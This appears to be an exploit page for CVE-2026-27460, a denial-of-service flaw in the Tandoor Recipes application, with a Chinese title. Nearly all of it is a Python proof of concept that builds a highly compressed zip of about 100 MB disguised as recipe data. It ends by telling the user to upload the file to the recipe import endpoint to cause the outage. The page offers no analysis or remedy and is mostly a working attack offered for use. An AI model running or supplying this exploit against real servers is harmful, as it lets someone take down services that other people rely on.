CVE-2026-27460 Tandoor Recipes拒绝服务漏洞

import zipfile import os # PoC: Create a Zip Bomb to demonstrate the DoS vulnerability # Generating a large file with repeating patterns for high compression ratio def create_zip_bomb(output_filename, size_mb=100): # Create a temporary file with repeating data (high compression ratio) pattern = b'A' * 1024 # 1KB pattern temp_file = 'temp_large_file.bin' with open(temp_file, 'wb') as f: for _ in range(size_mb * 1024): f.write(pattern) # Compress the file into a zip with zipfile.ZipFile(output_filename, 'w', zipfile.ZIP_DEFLATED, compresslevel=9) as zipf: zipf.write(temp_file, arcname='recipe_data.txt') # Clean up the large file os.remove(temp_file) print(f"Zip bomb created: {output_filename}") print("Upload this file to the recipe import endpoint to trigger the DoS.") if __name__ == "__main__": create_zip_bomb('malicious_recipes.zip')